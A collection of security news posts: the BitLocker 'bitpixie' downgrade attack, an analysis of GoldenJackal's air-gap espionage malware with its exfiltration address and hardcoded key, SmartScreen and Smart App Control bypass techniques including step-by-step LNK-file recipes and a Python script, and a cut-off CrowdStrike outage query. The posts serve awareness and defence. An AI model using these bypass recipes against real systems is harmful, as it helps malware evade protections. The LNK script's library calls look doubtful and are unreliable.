Technical Overview of the Exploit

BitLocker, Microsoft’s flagship full-disk encryption solution, relies heavily on Secure Boot and the Trusted Platform Module (TPM) for key management and device integrity. However, this dependency has become a double-edged sword, as the bitpixie vulnerability exploits design weaknesses in these very mechanisms. The attack bypasses full-disk encryption protections and provides attackers with access to sensitive data stored on the drive.

Core Components of the Exploit:

1. Secure Boot Manipulation:
   • Secure Boot is designed to validate the integrity of the boot process, ensuring only trusted software runs during system startup.
   • The bitpixie exploit downgrades the system to load an outdated and vulnerable bootloader, effectively bypassing Secure Boot validations.
   • By compromising the bootloader, attackers establish a pathway to inject malicious code during the system’s early startup phases.
2. Trusted Platform Module (TPM) Targeting:
   • BitLocker leverages TPM to store Full Volume Encryption Keys (FVEK) and ensure they are only released to trusted components.
   • By exploiting the downgraded boot process, the attacker retrieves the encryption keys into system memory, bypassing TPM protections.
   • The extracted keys can then be accessed using forensic tools or operating systems such as Linux.
3. Physical Access Prerequisite:
   • The attack requires one-time physical access to the target device. This limitation makes it less practical for opportunistic attackers but poses a severe risk in high-value or targeted environments such as enterprises and government agencies.

Detailed Attack Workflow

Exploit Workflow:

• Bootloader Downgrade:
  • The attacker begins by downgrading the bootloader, bypassing Secure Boot validation mechanisms. Secure Boot is designed to ensure only trusted software is executed during system startup.
  • Using an older, compromised bootloader version, the attacker enables unauthorized code execution during the boot process.
• Exploitation in Recovery Mode:
  • Once the compromised bootloader is executed, the system enters recovery mode. During this process, BitLocker loads the Full Volume Encryption Keys (FVEK) into the system’s working memory (RAM).
  • The outdated bootloader fails to secure these encryption keys, effectively “forgetting” to clear them from memory.
• Memory Extraction:
  • The attacker boots a customized Linux system using Secure Boot, exploiting a vulnerability in the Linux kernel to access the contents of the RAM.
  • The attacker retrieves the encryption keys directly from memory and uses them to decrypt the protected drive.

Network-Based Recovery Mode Exploitation:

• Lambertz demonstrated that an attacker can exploit this flaw remotely by forcing the device into recovery mode and connecting a network cable. Using USB network adapters or PXE boot tools, attackers can extend their control over the compromised system without needing to physically open the device.

UEFI Memory Constraints:

• The Unified Extensible Firmware Interface (UEFI) plays a critical role in storing certificates for Secure Boot. However, UEFI’s limited memory space prevents Microsoft from revoking vulnerable bootloader certificates comprehensively.
• Microsoft’s plan to issue new Secure Boot certificates in 2026 is seen as a long-term solution but requires motherboard manufacturers to update UEFI firmware, which adds complexity to the mitigation process.

Challenges in Mitigation

Despite Microsoft releasing patches for CVE-2023-21563 in November 2022, the exploit remains viable due to the inherent challenges in patching hardware-level vulnerabilities:

• Downgrade Attacks:
  • The vulnerability persists as attackers can revert bootloaders to outdated versions where the exploit remains effective.
  • These downgrade attacks exploit gaps in firmware or bootloader version enforcement.
• Complexity of Secure Boot:
  • Secure Boot relies on a chain of trust across multiple components (e.g., firmware, bootloaders, operating systems), making it difficult to patch all potential vulnerabilities without significant architectural changes.
• Dependence on TPM:
  • TPM, while robust, is not immune to attacks targeting its interface or bypassing its protections via manipulated software stacks.

Impact Assessment

1. Consumer Devices:
   • For individual users, the requirement for physical access reduces the practicality of the attack. However, high-profile individuals, journalists, or dissidents using BitLocker as their primary encryption solution remain at risk.
2. Enterprise Environments:
   • The exploit poses a severe threat to organizations relying on BitLocker for fleet encryption. Devices with default configurations, where no additional PINs or passwords are required, are especially vulnerable.
   • Attackers gaining access to a single compromised machine could extract sensitive corporate data, leading to potential large-scale data breaches.

Recommendations for Mitigation

1. Reinforce Device-Level Security:
   • Physical Security: Ensure physical access to devices is strictly controlled, particularly in enterprise environments.
   • Firmware Updates: Regularly update firmware and bootloader components to the latest versions to reduce the risk of downgrade attacks.
2. Enhance BitLocker Configurations:
   • Enable Additional Authentication: Require users to enter a PIN or password in addition to standard credentials to unlock BitLocker-protected drives.
   • Disable Auto-Unseal: Avoid configurations where BitLocker volumes are automatically decrypted during the boot process.
3. Adopt Defense-in-Depth Strategies:
   • Consider alternative or supplementary encryption solutions that add additional layers of security beyond BitLocker.
   • Utilize endpoint detection and response (EDR) solutions capable of detecting abnormal bootloader or firmware activities.
4. Educate and Train IT Teams:
   • Ensure enterprise IT teams are aware of this vulnerability and the necessity of enforcing strong encryption policies and secure boot practices.
   • Include physical security protocols as part of cybersecurity training.
5. Monitor and Audit Devices:
   • Conduct regular audits of device configurations to ensure they meet security baselines.
   • Implement logging and monitoring solutions that can alert administrators to unauthorized firmware downgrades or suspicious boot processes.

Technical Insights for the Cybersecurity Community

1. Secure Boot’s Limitations:
   • Secure Boot’s reliance on firmware and bootloader integrity checks creates a single point of failure when an attacker successfully bypasses these mechanisms.
2. Persistent Threat of Downgrade Attacks:
   • This exploit underscores the importance of version control and firmware attestation to prevent attackers from using outdated, vulnerable components.
3. Future Research Directions:
   • Developing hardware-based attestation mechanisms to detect unauthorized bootloader modifications in real-time.
   • Implementing more robust isolation for TPM operations to mitigate the impact of boot-level compromises.

The persistence of the bitpixie vulnerability (CVE-2023-21563) in BitLocker underscores the complexity of securing full-disk encryption technologies. As attackers refine techniques to exploit these weaknesses, the cybersecurity community must adopt proactive measures to mitigate risks.

While physical access requirements may limit the exploit’s scope, its implications for high-value enterprise systems are profound. Moving forward, organizations must implement a combination of hardware-level protections, advanced monitoring, and user awareness to address this evolving threat landscape.

The cybersecurity community is urged to stay vigilant and continuously improve defenses against sophisticated, multi-layered attacks on encryption technologies.

The post Windows 11 Encryption Defeated:How Hackers Bypass BitLocker in Minutes appeared first on Information Security Newspaper | Hacking News.

Overview of the Breaches

GoldenJackal’s attack strategy involves a multi-phase process beginning with the infection of internet-connected systems, which are then used to introduce malware into the air-gapped environment. Initial infections are likely delivered via spear-phishing or through compromised software containing trojanized files. Once the malware, known as GoldenDealer, infects these internet-facing systems, it waits for a USB drive to be connected. The malware then copies itself onto the USB drive, along with additional payloads, to prepare for insertion into the isolated, air-gapped network.

The malware suite includes two primary components for air-gapped infiltration:

1. GoldenHowl: A backdoor that allows GoldenJackal to maintain control over the infected system, collect data, and execute commands. It is versatile, capable of scanning for vulnerabilities, and communicates directly with GoldenJackal’s command and control (C2) infrastructure.
2. GoldenRobo: A data-stealing component that scans for files of interest, such as documents, encryption keys, images, and other confidential data. This malware collects these files in a hidden directory on the USB drive for exfiltration.

Once the USB drive is inserted back into the internet-connected system, GoldenDealer automatically transfers the collected data to the C2 server, thereby bypassing network security barriers.

Evolution of GoldenJackal’s Toolsets

GoldenJackal’s tactics have evolved over time. By 2022, the group had introduced a new modular toolset written in Go, allowing them to assign specific roles to various devices in the attack chain. This approach not only streamlines their operation but also makes it harder to detect by distributing tasks across multiple systems. Key tools in this updated arsenal include:

• GoldenUsbCopy and GoldenUsbGo: These tools facilitate USB-based infection and are designed to detect and exfiltrate specific types of data, including files modified within the last two weeks and files that contain sensitive keywords such as “login,” “password,” or “key.”
• GoldenBlacklist and GoldenPyBlacklist: These components filter and archive specific emails from compromised systems, ensuring that only relevant information is exfiltrated.
• GoldenMailer and GoldenDrive: These modules handle the exfiltration process, using email and cloud storage services like Google Drive to transmit data back to GoldenJackal. GoldenMailer automatically emails collected files, while GoldenDrive uploads them to cloud storage.

1. GoldenDealer

• Purpose: Transfers files and malware between connected and air-gapped systems using USB drives.
• Functionality:
  • Monitors USB insertion and internet connectivity on both connected and air-gapped systems.
  • Downloads executables from a C&C server when a connection is available and stores them on USB drives for air-gapped systems.
  • Automatically executes payloads on air-gapped systems without user interaction.
• Technical Details:
  • Persistence: Establishes persistence by creating a Windows service NetDnsActivatorSharing or modifying the Run registry key.
  • Registry Key Modification: Creates ShowSuperHidden in HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced to hide files in Windows Explorer.
  • Configuration Files: Uses encrypted JSON files for:
    • Status (b8b9-de4d-3b06-9d44),
    • Storing executables (fb43-138c-2eb0-c651), and
    • Network information (130d-1154-30ce-be1e).
• Example: GoldenDealer could be used to install surveillance malware on a voting machine that’s isolated from the internet. By inserting a compromised USB, the malware collects data, which is later exfiltrated when the USB is connected back to an internet-enabled PC.

2. GoldenHowl

• Purpose: A modular backdoor for executing commands on connected systems, with remote control capabilities.
• Functionality:
  • Uses Python modules to perform various tasks, such as stealing files, scanning networks, and tunneling over SSH.
  • Communicates with a C&C server to receive commands, encrypted with Fernet for security.
• Technical Details:
  • Modules: Some key modules include:
    • sshcmd for reverse shell connections,
    • eternalbluechecker to detect SMB vulnerabilities,
    • portscanner and ipscanner to scan the local network for open ports and active IPs.
  • Directory Structure: Configures directories for C&C communication:
    • download_dir for requests,
    • upload_dir for responses, and
    • data_dir for decrypted data.
• Example: GoldenHowl could be deployed on a sensitive government laptop, where it could scan for important files and run commands remotely, enabling attackers to gather intelligence or propagate the attack within the network.

3. GoldenRobo

• Purpose: Collects specific files from air-gapped systems and exfiltrates them back to the attacker.
• Functionality:
  • Searches for files with particular extensions (e.g., .doc, .pdf, .xls) and archives them using Robocopy.
  • Uses a USB drive to store collected files and later uploads them when connected to the internet.
• Technical Details:
  • File Filtering: Targets sensitive files based on specific extensions like .docx, .pdf, and .jpg.
  • Exfiltration: Archives files and sends them to https://83.24.9[.]124/8102/ in a base64-encoded ZIP file.
• Example: An attacker might use GoldenRobo to collect files from a research lab’s isolated computer, targeting sensitive documents for later retrieval when the USB drive is connected to a system with internet access.

4. GoldenUsbCopy

• Purpose: Monitors USB drives for specific files and saves them in encrypted containers.
• Functionality:
  • Checks inserted USB drives for files matching criteria in an encrypted configuration (e.g., last modified date or size).
  • Encrypts and stores the files in a hidden container for later extraction.
• Technical Details:
  • Configuration Encryption: Uses AES with a hardcoded RSA key to encrypt the config file reports.ini.
  • File Selection Criteria: Only files with specific extensions or last modified dates are copied.
  • Storage Format: Encrypts selected files and stores them in a ZIP container, with AES keys encrypted via RSA.
• Example: GoldenUsbCopy could be used in an environment like a corporate network where users frequently transfer files via USB. The tool would collect recently modified files that match specific criteria and save them for later retrieval by the attacker.

5. GoldenUsbGo

• Purpose: A streamlined version of GoldenUsbCopy, used for quick and simple file exfiltration.
• Functionality:
  • Operates with hardcoded conditions instead of a config file, targeting files based on extension and file size.
  • Compresses and encrypts files with AES, storing them in a specified directory for exfiltration.
• Technical Details:
  • Encryption: Uses AES with a fixed key Fn$@-fR_*+!13bN5 in CFB mode.
  • File Handling: Filters files that contain keywords like “password” or “login” and stores them in SquirrelCache.dat.
• Example: In an isolated office, GoldenUsbGo could automatically capture files with keywords like “confidential,” compress and encrypt them, and save them to an accessible location for later extraction by the attacker.

6. GoldenAce

• Purpose: Spreads malware and collects data through USB drives, targeting air-gapped systems.
• Functionality:
  • Hides malware on USB drives and installs it on systems automatically.
  • Uses a lightweight worm component (JackalWorm) to spread malware.
• Technical Details:
  • Persistence: Creates hidden directories on USB drives and uses a batch file (update.bat) to execute malware.
  • Infection Process: Changes directory attributes and uses a hidden executable with a folder icon to lure users.
• Example: In a facility with isolated control systems, GoldenAce could be used to infect these systems via USB drives, executing a payload automatically once the USB is inserted, thus compromising the isolated environment.

7. GoldenBlacklist

• Purpose: Filters out non-relevant emails and archives selected ones for exfiltration.
• Functionality:
  • Downloads an encrypted email archive from a local server and decrypts it.
  • Filters emails based on blocklists or content types (like attachments).
• Technical Details:
  • Email Filtering: Uses a blocklist of sender addresses and looks for emails containing attachments.
  • Encryption: Decrypts the initial archive with AES and re-encrypts filtered emails with the same key.
• Example: GoldenBlacklist could be used to target a corporate network where only emails with sensitive attachments are kept for later exfiltration. This helps in reducing the volume of data exfiltrated, focusing only on relevant information.

8. GoldenPyBlacklist

• Purpose: Python-based tool similar to GoldenBlacklist for filtering and archiving emails.
• Functionality:
  • Focuses specifically on .msg files (Outlook email format) and adds extra filtering based on file extensions.
• Technical Details:
  • Archive Creation: Uses 7-Zip to archive emails, adding an additional layer of encryption.
  • Directory Use: Processes emails in System32\temp, creating a final encrypted archive named ArcSrvcUI.ter.
• Example: This variant could be used to process a large volume of Outlook emails, extracting only those with attachments like contracts or reports for later transfer to the attacker.

9. GoldenMailer

• Purpose: Exfiltrates stolen files via email attachments.
• Functionality:
  • Sends files to attacker-controlled email accounts using legitimate email services (Outlook/Office365).
• Technical Details:
  • SMTP Configuration: Stores credentials and configurations in cversions.ini, and sends emails with attachments.
  • Email Format: Uses a simple format with hardcoded subjects and a single attachment per email.
• Example: GoldenMailer could be deployed on a compromised system to send collected documents directly to an attacker’s email address, disguised as routine email traffic.

10. GoldenDrive

• Purpose: Uploads stolen files to Google Drive for remote access by attackers.
• Functionality:
  • Uses Google Drive API with hardcoded credentials to upload files one at a time.
• Technical Details:
  • Credential Storage: Finds credentials.json and token.json containing client details for Google Drive access.
  • Upload Process: Handles one file per upload session, minimizing bulk traffic and making detection more difficult.
• Example: An attacker could use GoldenDrive to regularly upload sensitive files from an isolated computer, which would be accessible on their Google Drive account, thus bypassing standard email monitoring systems.

GoldenJackal’s tools leverage USB drives, network scanning, and encrypted communication, demonstrating a sophisticated approach to compromising and exfiltrating data from air-gapped systems. Each tool serves a specific purpose, and together they create a comprehensive toolkit for targeted espionage in sensitive environments.

Implications and Security Concerns

GoldenJackal’s successful infiltration of air-gapped systems underscores a significant threat to government networks and critical infrastructure. By leveraging removable media and creating custom malware optimized for these secure environments, the group demonstrates a high level of sophistication and technical ability. The presence of dual toolsets, which overlap with tools described in past cybersecurity reports, highlights GoldenJackal’s capability to rapidly adapt and refine its methods.

The group’s targeting of governmental and diplomatic entities suggests a focus on espionage, likely with political or strategic motivations. These incidents emphasize the need for advanced security measures, particularly in air-gapped networks often used to protect highly sensitive information.

In light of these findings, cybersecurity experts recommend reinforcing security protocols around removable media, implementing more stringent access controls, and regularly monitoring for indicators of compromise (IoCs). Advanced detection tools and user awareness training are also essential in preventing unauthorized access and mitigating the impact of such sophisticated threats.

The post This Hacker Toolkit Can Breach Any Air-Gapped System – Here’s How It Works appeared first on Information Security Newspaper | Hacking News.

Microsoft SmartScreen

Overview: Microsoft SmartScreen is a cloud-based anti-phishing and anti-malware component that comes integrated with various Microsoft products like Microsoft Edge, Internet Explorer, and Windows. It is designed to protect users from malicious websites and downloads.

Key Features:

1. URL Reputation:
   • SmartScreen checks the URL of websites against a list of known malicious sites stored on Microsoft’s servers. If the URL matches one on the list, the user is warned or blocked from accessing the site.
2. Application Reputation:
   • When a user downloads an application, SmartScreen checks its reputation based on data collected from other users who have downloaded and installed the same application. If the app is deemed suspicious, the user is warned before proceeding with the installation.
3. Phishing Protection:
   • SmartScreen analyzes web pages for signs of phishing and alerts the user if a site appears to be trying to steal personal information.
4. Malware Protection:
   • The system can identify and block potentially malicious software from running on the user’s device.
5. Integration with Windows Defender:
   • SmartScreen works in conjunction with Windows Defender to provide a layered security approach, ensuring comprehensive protection against threats.

How it Works:

• URL and App Checks:
  • When a user attempts to visit a website or download an application, SmartScreen sends a request to the SmartScreen service with the URL or app details.
  • The service checks the details against its database and returns a verdict to the user’s device.
  • Based on the verdict, the browser or operating system either allows, blocks, or warns the user about potential risks.
• Telemetry and Feedback:
  • SmartScreen collects telemetry data from users’ interactions with websites and applications, which helps improve the accuracy of its threat detection algorithms over time.

Smart App Control (SAC)

Overview: Smart App Control (SAC) is a security feature in Windows designed to prevent malicious or potentially unwanted applications from running on the system. It is an evolution of the earlier Windows Defender Application Control (WDAC) and provides advanced protection by utilizing cloud-based intelligence and machine learning.

Key Features:

1. Predictive Protection:
   • SAC uses machine learning models trained on a vast amount of data to predict whether an application is safe to run. It blocks apps that are determined to be risky or have no known good reputation.
2. Cloud-Based Intelligence:
   • SAC leverages Microsoft’s cloud infrastructure to continuously update its models and threat intelligence, ensuring that protection is always up-to-date.
3. Zero Trust Model:
   • By default, SAC assumes that all applications are untrusted until proven otherwise, aligning with the zero trust security model.
4. Seamless User Experience:
   • SAC operates silently in the background, allowing trusted apps to run without interruptions while blocking potentially harmful ones. Users receive clear notifications and guidance when an app is blocked.
5. Policy Enforcement:
   • Administrators can define policies to control app execution on enterprise devices, ensuring compliance with organizational security standards.

How it Works:

• App Analysis:
  • When an app attempts to run, SAC sends its metadata to the cloud for analysis.
  • The cloud service evaluates the app against its machine learning models and threat intelligence to determine its risk level.
• Decision Making:
  • If the app is deemed safe, it is allowed to run.
  • If the app is determined to be risky or unknown, it is blocked, and the user is notified with an option to override the block if they have sufficient permissions.
• Policy Application:
  • SAC policies can be customized and enforced across an organization to ensure consistent security measures on all managed devices.

Integration with Windows Security:

• SAC is integrated with other Windows security features like Microsoft Defender Antivirus, providing a comprehensive defense strategy against a wide range of threats.

Despite the robust protections offered by Microsoft SmartScreen and Smart App Control (SAC), some techniques can sometimes bypass these features through several sophisticated techniques.

1. Signed Malware Bypassing Microsoft SmartScreen and SAC

1. Valid Digital Signatures:

• Stolen Certificates: Cybercriminals can steal valid digital certificates from legitimate software developers. By signing their malware with these stolen certificates, the malware can appear trustworthy to security features like SmartScreen and SAC.
• Bought Certificates: Attackers can purchase certificates from Certificate Authorities (CAs) that might not perform thorough background checks. These certificates can then be used to sign malware.

2. Compromised Certificate Authorities:

• If a Certificate Authority (CA) is compromised, attackers can issue valid certificates for their malware. Even if the malware is signed by a seemingly reputable CA, it can still be malicious.

3. Certificate Spoofing:

• Advanced attackers may use sophisticated techniques to spoof digital certificates, making their malware appear as if it is signed by a legitimate source. This can deceive security features into trusting the malware.

4. Timing Attacks:

• Some malware authors time their attacks to take advantage of the period between when a certificate is issued and when it is revoked or added to a blacklist. During this window, signed malware can bypass security checks.

5. Use of Legitimate Software Components:

• Attackers can incorporate legitimate software components into their malware. By embedding malicious code within a signed, legitimate application, the entire package can be trusted by security features.

6. Multi-Stage Attacks:

• Initial stages of the malware may appear harmless and thus be signed and trusted. Once the initial stage is executed and trusted by the system, it can download and execute the actual malicious payload.

7. Social Engineering:

• Users may be tricked into overriding security warnings. For example, if SmartScreen or SAC blocks an application, an attacker might use social engineering tactics to convince the user to manually bypass the block.

2. How Reputation Hijacking Bypasses Microsoft SmartScreen and SAC

1. Compromised Legitimate Websites:
   • Method: Attackers compromise a legitimate website that has a strong reputation and inject malicious content or host malware on it.
   • Bypass Mechanism: Since SmartScreen relies on the reputation of websites to determine if they are safe, a website with a previously good reputation may not trigger alerts even if it starts serving malicious content. Users are not warned because the site’s reputation was established before the compromise.
2. Trusted Domains and Certificates:
   • Method: Attackers use domains with valid SSL certificates issued by trusted Certificate Authorities (CAs) to host malicious content.
   • Bypass Mechanism: SmartScreen and SAC check for valid certificates as part of their security protocols. A valid certificate from a trusted CA makes the malicious site appear legitimate, thus bypassing the security checks that would flag a site with an invalid or self-signed certificate.
3. Embedding Malware in Legitimate Software:
   • Method: Attackers inject malicious code into legitimate software or its updates.
   • Bypass Mechanism: If the legitimate software has a good reputation and is signed with a valid certificate, SmartScreen and SAC are less likely to flag it. When users update the software, the malicious payload is delivered without triggering security warnings because the update appears to be from a trusted source.
4. Phishing with Spoofed Emails:
   • Method: Attackers send phishing emails that appear to come from trusted sources, often using spoofed email addresses.
   • Bypass Mechanism: Users are more likely to trust and open emails from familiar and reputable sources. SmartScreen may not always catch these emails, especially if they come from legitimate domains that have been spoofed, leading users to malicious websites or downloads.
5. Domain and Subdomain Takeover:
   • Method: Attackers take over expired or unused domains and subdomains of reputable sites.
   • Bypass Mechanism: Since the domain or subdomain was previously associated with a legitimate entity, SmartScreen and SAC may continue to trust it based on its historical reputation. This allows attackers to serve malicious content from these domains without raising security flags.
6. Social Engineering Attacks:
   • Method: Attackers trick users into overriding security warnings by posing as legitimate sources or using persuasive tactics.
   • Bypass Mechanism: Even if SmartScreen or SAC warns users, skilled social engineering can convince them to bypass these warnings. Users might disable security features or proceed despite warnings if they believe the source is trustworthy.

3. How Reputation Seeding Bypasses Microsoft SmartScreen and SAC

Reputation seeding is a tactic where attackers build a positive reputation for malicious domains, software, or email accounts over time before launching an attack. This can effectively bypass security measures like Microsoft SmartScreen and Smart App Control (SAC) because these systems often rely on reputation scores to determine the trustworthiness of an entity. Here’s how reputation seeding works and strategies to mitigate it:

How Reputation Seeding Works

1. Initial Clean Activity:
   • Method: Attackers initially use their domains, software, or email accounts for legitimate activities. This involves hosting benign content, sending non-malicious emails, or distributing software that performs as advertised without any harmful behavior.
   • Bypass Mechanism: During this period, SmartScreen and SAC observe and record these entities as safe and build a positive reputation for them. Users interacting with these entities during the seeding phase do not encounter any security warnings.
2. Gradual Introduction of Malicious Content:
   • Method: Over time, attackers start to introduce malicious content slowly. This might involve adding malware to software updates, injecting harmful code into websites, or sending phishing emails from trusted accounts.
   • Bypass Mechanism: Because the entities have already established a positive reputation, initial malicious activities may not be immediately flagged by SmartScreen or SAC, allowing the attackers to reach their targets.
3. Leveraging Established Trust:
   • Method: Once a strong reputation is established, attackers conduct large-scale malicious campaigns. They leverage the trust built over time to bypass security checks and deceive users.
   • Bypass Mechanism: The established positive reputation causes security systems to consider these entities as low-risk, allowing malware or phishing attempts to bypass filters and reach users without triggering alarms.

Typical Timeframes for Reputation Seeding

1. Websites:
   • Short-Term (Weeks): Initial establishment of a website with benign content and basic user interactions.
   • Medium-Term (Months): Gaining backlinks, increasing traffic, and more extensive content creation.
   • Long-Term (6+ Months): Strong reputation with significant traffic, positive user interactions, and established trust.
2. Software:
   • Short-Term (Weeks): Initial distribution and passing basic security checks.
   • Medium-Term (Months): Accumulating downloads, positive user reviews, and routine updates.
   • Long-Term (6+ Months): Strong reputation with widespread usage and consistently positive feedback.
3. Email Accounts:
   • Short-Term (Weeks): Initial legitimate emails and normal interactions.
   • Medium-Term (1-2 Months): Building trust through regular, benign communication.
   • Long-Term (3+ Months): Established trust with consistent, non-malicious activity.

4 .How Reputation Tampering Bypasses Microsoft SmartScreen and SAC

Reputation tampering, particularly in the context of Smart App Control (SAC), can exploit the way SAC assesses and maintains the reputation of files. Given that SAC might use fuzzy hashing, feature-based similarity comparisons, and machine learning models to evaluate file reputation, attackers can manipulate certain segments of a file without changing its perceived reputation. Here’s a deeper dive into how this works and the potential implications:

How Reputation Tampering Works in SAC

1. Fuzzy Hashing:
   • Method: Unlike traditional cryptographic hashing, which changes completely with any alteration to the file, fuzzy hashing allows for minor changes without drastically altering the hash value. This means that files with small modifications can still be considered similar to the original.
   • Attack: Attackers modify segments of the file that do not significantly affect the fuzzy hash value, allowing the file to retain its reputation.
2. Feature-Based Similarity Comparisons:
   • Method: SAC may use feature-based similarity comparisons to evaluate files. These features could include metadata, structural attributes, or specific code patterns that are consistent with known good files.
   • Attack: By understanding which features are used and ensuring that these remain unchanged while modifying other parts of the file, attackers can maintain the file’s good reputation.
3. Machine Learning Models:
   • Method: Machine learning models in the cloud may analyze files based on patterns learned from a large dataset of known good and bad files. These models might use a variety of indicators beyond simple hashes.
   • Attack: Through trial and error, attackers identify which code sections can be altered without changing the overall pattern recognized by the ML model as benign. They can then inject malicious code into these sections.

5. How LNK stomping Bypasses Microsoft SmartScreen and SAC

LNK stomping is a technique where attackers modify LNK (shortcut) files to execute malicious code while appearing legitimate to users and security systems. By leveraging the flexibility and capabilities of LNK files, attackers can disguise their malicious intentions and bypass security features such as Microsoft SmartScreen and Smart App Control (SAC). Here’s how LNK stomping works and how it can bypass these security features:

How LNK Stomping Works

1. Creating a Malicious LNK File:
   • Method: Attackers create an LNK file that points to a legitimate executable or document but includes additional commands or scripts that execute malicious code.
   • Example: An LNK file might appear to open a PDF document, but in reality, it executes a PowerShell script that downloads and runs malware.
2. Modifying Existing LNK Files:
   • Method: Attackers modify existing LNK files on a target system to include malicious commands while retaining their original appearance and functionality.
   • Example: An LNK file for a commonly used application (e.g., a web browser) is modified to first execute a malicious script before launching the application.
3. Embedding Malicious Code:
   • Method: Attackers embed malicious code directly within the LNK file, taking advantage of the file’s structure and features.
   • Example: An LNK file might contain embedded shell commands that execute when the shortcut is opened.

Understanding the MotW Bypass via LNK File Manipulation

The Mark of the Web (MotW) is a critical security feature used to flag files downloaded from the internet, making them subject to additional scrutiny by antivirus (AV) and endpoint detection and response (EDR) systems, including Microsoft SmartScreen and Smart App Control (SAC). However, certain techniques can bypass this feature, allowing potentially malicious files to evade detection. Here, we’ll explore how manipulating LNK (shortcut) files can bypass MotW checks

Manually Creating an LNK File with a Non-Standard Target Path

1. Locate the PowerShell Script:
   • Ensure you have the path to the PowerShell script, for example, C:\Scripts\MyScript.ps1.
2. Create the Shortcut:
   • Right-click on the desktop or in the folder where you want to create the shortcut.
   • Select New > Shortcut.
3. Enter the Target Path:
   • In the “Type the location of the item” field, enter the following command with a non-standard path:
   • powershell.exe -File "C:\Scripts\MyScript.ps1."
   • Notice the extra dot at the end of the script path.
4. Name the Shortcut:
   • Enter a name for your shortcut (e.g., Run MyScript Non-Standard).
   • Click Finish.
5. Verify the Target Path:
   • Right-click the newly created shortcut and select Properties.
   • In the Target field, you should see:
   • powershell.exe -File "C:\Scripts\MyScript.ps1."
   • Click OK to save the changes.

By following these steps, you can create an LNK file that points to a PowerShell script with a non-standard target path. This can be used for testing how such files interact with security features like SmartScreen and Smart App Control.

Manually Creating an LNK File with a Relative Path

1. Locate the PowerShell Script:
   • Ensure you have the relative path to the PowerShell script within its directory structure, for example, .\Scripts\MyScript.ps1.
2. Create the Shortcut:
   • Right-click on the desktop or in the folder where you want to create the shortcut.
   • Select New > Shortcut.
3. Enter the Target Path:
   • In the “Type the location of the item” field, enter the following command with a relative path:
   • powershell.exe -File ".\Scripts\MyScript.ps1"
   • Click Next.
4. Name the Shortcut:
   • Enter a name for your shortcut (e.g., Run MyScript Relative).
   • Click Finish.
5. Verify the Target Path:
   • Right-click the newly created shortcut and select Properties.
   • In the Target field, you should see:
   • powershell.exe -File ".\Scripts\MyScript.ps1"
   • Click OK to save the changes.

Manually Creating an LNK File with a multi-level path

To create an LNK file with a multi-level path in the target path array, we need to manipulate the internal structure of the LNK file to contain a non-standard target path. This involves using a utility or script that can handle the creation and modification of LNK files with detailed control over their internal structure.

Here’s a step-by-step guide to creating such an LNK file using PowerShell and a specialized library for handling LNK files, pylnk3, which is a Python-based library. For this example, you will need to have Python installed along with the pylnk3 library.

Step-by-Step Guide

Prerequisites

1. Install Python:
   • If you don’t have Python installed, download and install it from the official website: Python.org.
2. Install pylnk3 Library:
   • Open a command prompt or terminal and run the following command to install pylnk3:shCopy codepip install pylnk3

Creating a Multi-Level Path LNK File

Create a Python Script to Generate the LNK File:

• Create a Python script (e.g., create_lnk.py) with the following content:

import lnk

# Define the path for the new shortcut
shortcut_path = "C:\\Users\\Public\\Desktop\\MyScriptShortcutMultiLevel.lnk"

# Create a new LNK file
lnk_file = lnk.lnk_file()

# Set the target path with multi-level path entries
lnk_file.add_target_path_entry("..\\..\\Scripts\\MyScript.ps1")

# Set the arguments for the target executable
lnk_file.command_line_arguments = "-File .\\Scripts\\MyScript.ps1"

# Save the LNK file
with open(shortcut_path, "wb") as f:
    lnk_file.write(f)

print(f"Shortcut created at: {shortcut_path}")

Run the Python Script:

• Open a command prompt or terminal and navigate to the directory where your Python script is located.
• Run the script using the following command:shCopy codepython create_lnk.py

Explanation

• lnk.lnk_file(): Creates a new LNK file object.
• add_target_path_entry: Adds entries to the target path array. Here, we use a relative path (..\\..\\Scripts\\MyScript.ps1) to simulate a multi-level path.
• command_line_arguments: Sets the arguments passed to the target executable. In this case, we pass -File .\Scripts\MyScript.ps1.
• write: Saves the LNK file to the specified path.

Additional Notes

• Relative Paths: The use of relative paths (..\\..\\) in the target path entries allows us to create a multi-level path structure within the LNK file.
• Non-Standard Structures: By manipulating the internal structure of the LNK file, we can craft paths that might bypass certain security checks.

Running the LNK File

After creating the LNK file, you can test its behavior by double-clicking it. The crafted LNK file should follow the relative path and execute the target PowerShell script, demonstrating how non-standard paths can be used within an LNK file.

The article “Dismantling Smart App Control” by Elastic Security Labs explores the vulnerabilities and bypass techniques of Windows Smart App Control (SAC) and SmartScreen. For more details, you can read the full article here.

The post Five Techniques for Bypassing Microsoft SmartScreen and Smart App Control (SAC) to Run Malware in Windows appeared first on Information Security Newspaper | Hacking News.

The Catalyst: A Defective Update

The outage was traced back to a single content update for Windows issued by CrowdStrike, a leading cybersecurity firm. The update contained a defect that led to significant failures in numerous systems, causing a ripple effect of IT outages globally. The impact was profound, affecting a range of sectors from airlines and banks to hospitals and individual computer users.

Immediate Impacts and Chaos

The immediate repercussions were severe and widespread:

• Airlines: Thousands of flights were canceled, causing massive delays and disruptions at airports worldwide.
• Hospitals: Medical facilities faced critical operational challenges as their IT systems went offline, complicating patient care and medical procedures.
• Financial Institutions: Banks and other financial entities experienced significant disruptions, impacting transactions and day-to-day operations.
• Media Outlets: Several media organizations found themselves unable to access their networks, hindering news dissemination and media operations.

The chaos was further compounded by the interconnected nature of global IT infrastructures, highlighting vulnerabilities that can lead to such widespread crises.

Steps for determine the impact

CrowdStrike, along with Microsoft, has been working tirelessly to address the issue. Below is a step-by-step explanation of how to identify and assess the affected systems using specific queries in Advanced Event Search.

Step 1: Determine Impacted Channel File

The first step involves running a query to identify the impacted channel file, which will help in determining the scope of affected systems. Please run the following query in Advanced Event Search with the search window set to seven days.

#event_simpleName=ConfigStateUpdate event_platform=Win
| regex("\|1,123,(?<CFVersion>.*?)\|", field=ConfigStateData, strict=false) |
parseInt(CFVersion, radix=16)
| groupBy([cid], function=([max(CFVersion, as=GoodChannel)]))
| ImpactedChannel:=GoodChannel-1
| join(query={#data_source_name=cid_name | groupBy([cid],
function=selectLast(name), limit=max)}, field=[cid], include=name, mode=left)

Please make note of the value listed in the column “ImpactedChannel.”
This number

Explanation:

• Filter Events: The query filters events with the name ConfigStateUpdate on the Windows platform.
• Extract Version: It uses a regular expression to extract the configuration file version from the event data.
• Parse Version: The extracted version number is then parsed as an integer.
• Group by Customer ID (cid): The versions are grouped by the customer ID, and the highest version number is identified.
• Determine Impacted Channel: The impacted channel file is derived by subtracting one from the highest version number.

